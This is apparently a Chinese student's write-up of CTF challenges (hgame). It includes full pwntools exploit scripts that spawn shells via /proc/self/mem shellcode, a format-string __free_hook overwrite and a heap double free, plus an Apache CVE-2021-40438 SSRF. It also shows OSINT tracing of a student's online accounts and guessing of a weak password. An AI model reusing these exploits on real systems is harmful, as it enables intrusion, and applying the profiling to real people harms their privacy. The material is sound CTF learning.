

WEB

Apache!

按照hint知道了漏洞是 CVE-2021-40438 。照着网上的exp改一改就出了。
通过 F12 可以得到后台的配置文件。

```
<p>Try to visit it and you will get the flag!</p>
<!-- /www.zip -->
</body>
```

按照漏洞复现条件是需要 ProxyPass 关键字，因此需要想 /proxy 发送请求。

```
<Location /proxy>
| ProxyPass https://www.google.com
</Location>
```

这里可以看出内网使用了 nginx ，配置文件为 default.conf 。

```
version: "3.8"
services:
  apache:
    image: httpd:2.4.48-alpine
    volumes:
      - ./static:/usr/local/apache2/htdocs
      - ./httpd.conf:/usr/local/apache2/conf/httpd.conf
      - ./httpd-vhosts.conf:/usr/local/apache2/conf/extra/httpd-vhosts.conf
    links:
      - internal.host
    depends_on:
      - internal.host
    ports:
      - 60010:80

  nginx:
    image: nginx:alpine
    container_name: internal.host
    volumes:
      - ./default.conf:/etc/nginx/conf.d/default.conf
```

获取flag需要访问 /flag 。

```
location = /flag {
    return 200 "hgame{xxx}";
}
```

```

[+] http://10.10.10.10:80/ HTTP/1.1 200 OK
Host: 10.10.10.10
Cache-Control: max-age=0
Content-Type: text/html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

```

查看网页源码的时候发现了vue源码，base64解码后得到flag。

The screenshot shows the VS Code editor interface. On the left, the 'File Explorer' sidebar displays a project structure. The 'src' directory is expanded, showing a 'views' subdirectory. Inside 'views', the file 'Fl4g_1s_her3.vue' is selected and highlighted. The main editor area on the right displays the code for 'Fl4g_1s_her3.vue'. The code is a Vue component with a template and a script. The template includes a title 'filiililil4g' and a style block. The script defines a data object with a 'filiililil4g' property set to a long alphanumeric string.

```

1 <template>
2   <h1>{{filiililil4g}}</h1>
3 </template>
4
5 <script>
6
7 export default {
8   data() {
9     return {
10      filiililil4g: 'YUdkaGjXVjd5REJ1ZEY5bU1I5TVaWfJmTww5RGJFOX'
11    }
12  }
13 }
14 </script>
15
16 <style>
17 html, body {
18   height: 100%;
19   margin: 0;
20   padding: 0;
21   overflow: hidden;
22 }
23 </style>
24
25 <style scoped>
26 .home {
27   height: 100%;

```

xD MAZE

分析逆向出来的源码，可以知道每一次计算出来的值在 byte_404020 数组中的值为 32 。

```
        result = 1;
    }
    else
    {
        for ( i = 6; i <= 33; ++i )
        {
            switch ( *((_BYTE *)v11 + i) )
            {
                case '0':
                    v14 += 512;
                    break;
                case '1':
                    v14 += 64;
                    break;
                case '2':
                    v14 += 8;
                    break;
                case '3':
                    ++v14;
                    break;
                default:
                    goto LABEL_8;
            }
            if ( byte_404020[v14] != 32 || v14 > 4095 )
            {
                v9 = std::operator<<<std::char_traits<char>>>(&std::cout, "Failed");
                std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
                return 1;
            }
        }
    }
}
```

由此可以构造一下exp：

```
#include <stdio.h>

int main() {
    char map[4096] = {...}; //Data of byte_404020.

    int location[29];

    int t = 0;
    for (int i = 0; i < 4096; i++) {
        if (map[i] == 0x20) {
            location[t++] = i;
        }
    }

    char flag[30];

    for (int i = 1; i < 29; i++) {
        switch (location[i] - location[i - 1]) {
            case 512:
                flag[i - 1] = '0';
                break;
            case 64:
                flag[i - 1] = '1';
                break;
            case 8:
```

```

        flag[i - 1] = '2';
        break;
    case 1:
        flag[i - 1] = '3';
        break;
    }
}
printf("%s", flag);
}

```

fake shell

分析逆向源码可知，对明文的加密操作只有一次异或运算，因此只要对密文再次加密即可获得明文。

打开gdb调试，通过输入，逆向的源码和栈内容的比较得到此处为未加密文本存储的内存。

```

rsp      0x7fffffffddc60 ← 0x40 /* '@' */
0x7fffffffddc68 → 0x7fffffffde10 ← 'aaaaaaaaabbbbbbbcccccc
'
0x7fffffffddc70 ← 0x3a00000029 /* ')' */
0x7fffffffddc78 ← 0x10
rcx rsi 0x7fffffffddc80 ← 'aaaaaaaaabbbbbbbccccccccccddddd| '
0x7fffffffddc88 ← 'abbbbbbbccccccccccddddd| '
0x7fffffffddc90 ← 'ccccccccccddddd| '
0x7fffffffddc98 ← 'ccddddd| '
[ BACKTRACE ]

```

将密文按顺序写入该段内存。

```

[ STACK ]
0x7fffffffddc60 ← 0x40 /* '@' */
0x7fffffffddc68 → 0x7fffffffde10 ← 'a

0x7fffffffddc70 ← 0x3a00000029 /* ')'
0x7fffffffddc78 ← 0x10
0x7fffffffddc80 ← 0xe0b25f3d8ffa94b6
0x7fffffffddc88 ← 0xe79d6c9866d20fea
0x7fffffffddc90 ← 0x6d6fbec57140081b
0x7fffffffddc98 ← 0xf6f3bda88d097b7c

```

跳到加密运算结束的位置，查看栈得到flag。

```

[ STACK ]
0x7fffffffdc60 ← 0x40 /* '@' */
0x7fffffffdc68 → 0x7fffffffde10 ← 'aaaaaaaaabbbb

0x7fffffffdc70 ← 0x3a00000029 /* ')' */
0x7fffffffdc78 ← 0x10
0x7fffffffdc80 ← 0x30737b656d616768 ('hgame{s0')
0x7fffffffdc88 ← 0x5f676e316874656d ('meth1ng_')
0x7fffffffdc90 ← 0x306665625f6e7572 ('run_bef0')
0x7fffffffdc98 ← 0x7d3f6e69346d5f72 ('r_m4in?}')
```

PWN

blind

这道题是盲打，能够访问 /proc 目录，通过 /proc/self/mem 修改 .text 段的内容。
exp如下：

```
from pwn import *
from pwnlib.util.iters import mbruteforce
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"
# context.terminal = ["alacrity", "-e"]
context.terminal = ["tmux", "splitw", "-h"]

def proof(t):
    t.recvuntil(b' == ')
    sha = bytes.decode(p.recvline()).strip()
    print(sha)
    answer = mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest() ==
                        t.send(bytes(answer, "ascii")))

p = remote("chuj.top", 51713)
proof(p)

p.recvuntil(b'0x')
write_addr = int(bytes.decode(p.recv(12)), 16)
libc = LibcSearcher("write", write_addr)
```

```

libc_base = write_addr - libc.dump("write")
__libc_start_main = libc_base + libc.dump("__libc_start_main")

p.sendlineafter(b'>>', b'/proc/self/mem\x00')
p.sendlineafter(b'>>', bytes(str(__libc_start_main), "ascii"))

p.sendlineafter(b'>>', asm("nop") * 300 + asm(shellcraft.sh()))
p.interactive()

```

echo_sever

fmt 问题，利用 printf 构造跳板修改 __free_hook。不过做的时候我原来使用的跳板会在 __free_hook 修改了一部分时调用了 free 函数。在chuj学长的建议下换了一个跳板才做出题目。

exp如下：

```

from pwn import *
from pwnlib.util.iters import mbruteforce

context.log_level = "debug"
context.arch = "amd64"
# context.terminal = ["alacrity", "-e"]
context.terminal = ["tmux", "splitw", "-h"]

elf = ELF("./echo")
libc = ELF("./libc-2.31.so")

def proof(t):
    t.recvuntil(b" == ")
    sha = bytes.decode(p.recvline()).strip()
    print(sha)
    answer = mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest() ==
                        t.send(bytes(answer, "ascii")))

# p = process("./echo")
# gdb.attach(p)

p = remote("chuj.top", 52144)
proof(p)

# leak base address
p.sendlineafter(b'>>', b'256')
p.sendline(b'%8$p%10$p%13$p')
p.recvuntil(b'0x')
ptr_addr = int(bytes.decode(p.recv(12)), 16)
p.recvuntil(b'0x')
stack_addr = int(bytes.decode(p.recv(12)), 16) - 0x30

```

```

p.recvuntil(b'\0x')
start_main_addr = int(bytes.decode(p.recv(12)), 16) - 243
print(hex(stack_addr))
print(hex(start_main_addr))
libc_base = start_main_addr - libc.symbols["__libc_start_main"]

system_addr = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

ptr_addr_5 = int(hex(ptr_addr)[13], 16)
stack_addr_5_6 = int(hex(stack_addr)[10:14], 16)
free_hook_3_4 = int(hex(free_hook)[6:10], 16)
free_hook_5_6 = int(hex(free_hook)[10:14], 16)
free_hook_6 = int(hex(free_hook)[12:14], 16)
system_2 = int(hex(system_addr)[4:6], 16)
system_1 = int(hex(system_addr)[2:4], 16)
system_4 = int(hex(system_addr)[8:10], 16)
system_3 = int(hex(system_addr)[6:8], 16)
system_5_6 = int(hex(system_addr)[10:14], 16)
bin_sh_1_2 = int(hex(bin_sh)[2:6], 16)
bin_sh_3_4 = int(hex(bin_sh)[6:10], 16)
bin_sh_5_6 = int(hex(bin_sh)[10:14], 16)

# write system to the free hook
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(stack_addr_5_6 + 0x3A), "ascii") + b'c%6$hn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(free_hook_3_4), "ascii") + b'c%10$hn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(stack_addr_5_6 + 0x38), "ascii") + b'c%6$hn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(free_hook_5_6), "ascii") + b'c%10$hn\x00')

p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(system_5_6), "ascii") + b'c%13$hn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(free_hook_6 + 2), "ascii") + b'c%10$hhn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(system_4), "ascii") + b'c%13$hhn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(free_hook_6 + 3), "ascii") + b'c%10$hhn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(system_3), "ascii") + b'c%13$hhn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(free_hook_6 + 4), "ascii") + b'c%10$hhn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(system_2), "ascii") + b'c%13$hn\x00')
p.sendlineafter(b'>>', b'256')
p.sendline(b'%' + bytes(str(free_hook_6 + 5), "ascii") + b'c%10$hhn\x00')
p.sendlineafter(b'>>', b'256')

```

```

p.sendline(b'%' + bytes(str(system_1), "ascii") + b'c%13$hn\x00')

# get shell
p.sendlineafter(b'>>', b'256')
p.sendline(b'/bin/sh\x00')
p.sendlineafter(b'>>', b'0')

p.interactive()

```

oldfashion_note

首先利用 UAF 获取 main_arena 地址，并泄漏 libc 基地址,再利用 double free 修改 __free_hook。

其中新版libc中加入了 tcache，而我查到的很多教程是比较老的libc版本，在问chuj学长之前我折腾了好久。

一下为exp：

```

from pwn import *
from pwnlib.term import init
from pwnlib.util.iters import mbruteforce

context.log_level = "debug"
# context.terminal = ["alacritty", "-e"]
context.terminal = ["tmux", "splitw", "-h"]

def proof(t):
    t.recvuntil(b" == ")
    sha = bytes.decode(p.recvline()).strip()
    print(sha)
    answer = mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest() ==
                        t.send(bytes(answer, "ascii")))

def add(index, size, content):
    p.sendlineafter(b'>>', b'1')
    p.sendlineafter(b'>>', bytes(str(index), "ascii"))
    p.sendlineafter(b'>>', bytes(str(size), "ascii"))
    p.sendlineafter(b'>>', content)

def delete(index):
    p.sendlineafter(b'>>', b'3')
    p.sendlineafter(b'>>', bytes(str(index), "ascii"))

def show(index):
    p.sendlineafter(b'>>', b'2')
    p.sendlineafter(b'>>', bytes(str(index), "ascii"))

```



```

elf = ELF("./note")
libc = ELF("./libc-2.31.so")

# p = process("./note")
p = remote("chuj.top", 51329)
# gdb.attach(p)

proof(p)

# leak libc
add(0, 0x100, b'aaa')
add(1, 0x10, b'bbb')
for i in range(7):
    add(i + 2, 0x100, b'aaa')
for i in range(7):
    delete(i + 2)
delete(0)
show(0)
arena_addr = u64(p.recvline()[1:-1].ljust(8, b'\x00')) - 96
print(hex(arena_addr))
libc_addr = arena_addr - libc.symbols["__malloc_hook"] - 0x10
print(hex(libc_addr))

target_addr = libc_addr + libc.symbols["__free_hook"]
system_addr = libc_addr + libc.symbols["system"]
print(hex(target_addr))

add(9, 0x60, b'') # ch 9
add(10, 0x60, b'') # ch 10
for i in range(7):
    add(i, 0x60, b'aaa')
for i in range(7):
    delete(i)
delete(9) # fastbinY -> ch 9
delete(10) # fastbinY -> ch 10 ->
delete(9) # fastbinY -> ch 9 ->
for i in range(7):
    add(i, 0x60, b'bbb')
add(11, 0x60, p64(target_addr)) # ch 9 (ch 9 -> target_
add(12, 0x60, b'') # ch 10
add(13, 0x60, b'') # ch 9
add(14, 0x60, p64(system_addr)) # ch 11 (at target_addr
add(15, 0x60, b'/bin/sh\x00')
delete(15)

p.interactive()

```

奇妙小游戏

刚开始硬是没看懂，问了学长，提示我 entry 是下面，左边开始为0，才搞懂。即每一竖列都按顺序有一个下标，横向的可以理解为一座桥。从 entry 的下标开始，往上走，碰到桥时必须过桥，而答案为最后出去位置的下标。

exp如下：

```
import re

from pwn import *
from pwnlib.util.iters import mbruteforce

context.log_level = "debug"
context.terminal = ["alacrity", "-e"]

p = remote("chuj.top", 50824)

def proof(t) :
    t.recvuntil(b' == ')
    sha = bytes.decode(p.recvline()).strip()
    print(sha)
    answer = mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest()==
    t.send(bytes(answer, "ascii"))

def analyse_map():
    map = []
    while True:
        map_line = []
        line = bytes.decode(p.recvline())
        print(line)
        if line[0] == "-":
            for j in map:
                print(j)
            return map
        for i in range(len(line) - 1):

            if i % 5 == 0:
                if i != 0 and line[i - 1] != " ":
                    map_line.append(-1)
                elif i != len(line) - 2 and line[i + 1] != " ":
                    map_line.append(1)
                else:
                    map_line.append(0)
            map.append(map_line)

def get_entry():
```

```

def get_entry():
    line = bytes.decode(p.recvline())
    entry = re.findall(r'\d+', line)
    return int(entry[0])

def calc_answer(map, entry):
    answer = entry
    for line in map[::-1]:
        answer += line[answer]
    return answer

proof(p)
p.sendline()
while True:
    p.recvuntil(b'\n')
    p.recvuntil(b'\n')
    m = analyse_map()
    e = get_entry()
    p.sendline(bytes(str(calc_answer(m, e)), "ascii"))

```

一张怪怪的名片

这是一道社工题。下载附件得到一份图片，图中有一个破掉的二维码。修补后发现有问题，上传到学长给的工具网页中，得到一个有问题的网址。



<https://homdgincl.homeboy.cc/3k5dc1e1dc1>

利用百度搜索一级域名，查到了一个知乎帐号，从个人信息中看到是杭电的学生，猜测此

为常用昵称，尝试上github搜索，发现是At0m学长的帐号，从信息栏找到博客域名，确认顶级域名。后来猜二级域名搞了好久，和学长交流后想起来，人际关系是社工很重要的一环，在At0m学长博客的友链中找到了地址。

下图为At0m学长域名

 <https://www.homeboyc.cn/>

下图为友链中的超链接

[鸿贵安的自留地](#)

按照网页内容，猜测密码为 hgame20020816 （两人姓名首字母+生日的弱密码，我一直做到这里才知道鸿贵安其实不是学长。看到是At0m学长的域名的时候我还专门问了一下Acute学长，At0m学长到底叫什么。）

Recipe

From Base64

Alphabet
A-Za-z0-9+/=

☐ Remove non-alphabet chars

AES Decrypt

Key
5728e1fb6ee26419b7a48a0cab579e74

IV

Mode
ECB

Input
Raw

Output
Raw

Derive PBKDF2 key

Passphrase
hgame20020816

Key size
128

Iterations
1

Hashing funct...
SHA1

Salt
1

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

Input



b09nyMj9c0Z3aB8KUcNh46nIi9fGTIL6XjnnW1/sj/nUR1BFYkf0Jv
rXsB3ZGcITuFLEIThbx4/vh5E/Wk4R8qhNcFh5bwSSmwdULVuwBrJ5

Output

哈哈，不愧是我的宝！一下子就猜出来了。
hgame{wh0_4m_1?I_like_S0ciaI_En9in33ring}
Week3见！！

你上当了 我的很大

给的两个图是两个二维码，扫码后base64解码，分别得到四分之一一个二维码。




解码后的图：



附件中是一个很大的压缩包，套了很多层，最内层是一个视频。做的时候想起了做 week1，学习明文攻击时了解到压缩包会记录文件的CRC码，相同文件CRC码相同。之后手动递归遍历压缩包，在视频中找到了两个二维码，解码后是剩下的一半。





解码后的图：



拼接后的二维码：



扫码得flag。

IoT

空气中的信号

看了描述之后查了一下哈拉尔，搜索联想出了一个蓝牙王，猜测是蓝牙信号。
查了蓝牙的帧结构后得知蓝牙的数据是低位向高位编码，直接写了一个exp解码得到flag。
exp如下：

```
bin = "..."  
  
str = ""  
for i in range(len(bin)):  
    if i % 8 == 7:  
        str += chr(int((bin[i - 7:i + 1])[::-1], 2))  
print(str)
```

CRYPTO

RSA Attack

照着0到1书上的示例写了个脚本就出了。

exp如下：

```
from gmpy2 import invert  
import binascii  
  
e = 65537  
p = 715800347513314032483037  
q = 978782023871716954857211  
c = 122622425510870177715177368049049966519567512708  
  
phin = (p - 1) * (q - 1)  
d = invert(e, phin)  
n = pow(c, d, p * q)  
flag = binascii.unhexlify(hex(n)[2:])  
print(flag)
```

RSA Attack 2

同上，照着实例写了一个脚本就出了。

exp如下：

```
import gmpy2  
import binascii  
from functools import reduce  
  
# task1  
t1_e = ...  
t1_n1 = ...  
t1_c1 = ...  
t1_n2 = ...
```

```

t1_c2 = ...
# task2
t2_e = ...
t2_n = ...
t2_c = ...
# task3
t3_n = ...
t3_e1 = ...
t3_c1 = ...
t3_e2 = ...
t3_c2 = ...

# Task 1 Solution
p = gmpy2.gcd(t1_n1, t1_n2)
q = t1_n1 // p
d = gmpy2.invert(t1_e, (p - 1) * (q - 1))
m1 = hex(pow(t1_c1, d, t1_n1))[2:]

# Task 2 Solution
k = 0
while (gmpy2.iroot(t2_c + k * t2_n, t2_e)[1] == False):
    k += 1
m2 = hex(gmpy2.iroot(t2_c + k * t2_n, t2_e)[0])[2:]

#Task 3 Solution
g, x, y = gmpy2.gcdext(t3_e1, t3_e2)
m3 = hex(pow(t3_c1, x, t3_n) * pow(t3_c2, y, t3_n) % t3_n)[2:]

flag = binascii.unhexlify(m1 + m2 + m3)
print(flag)

```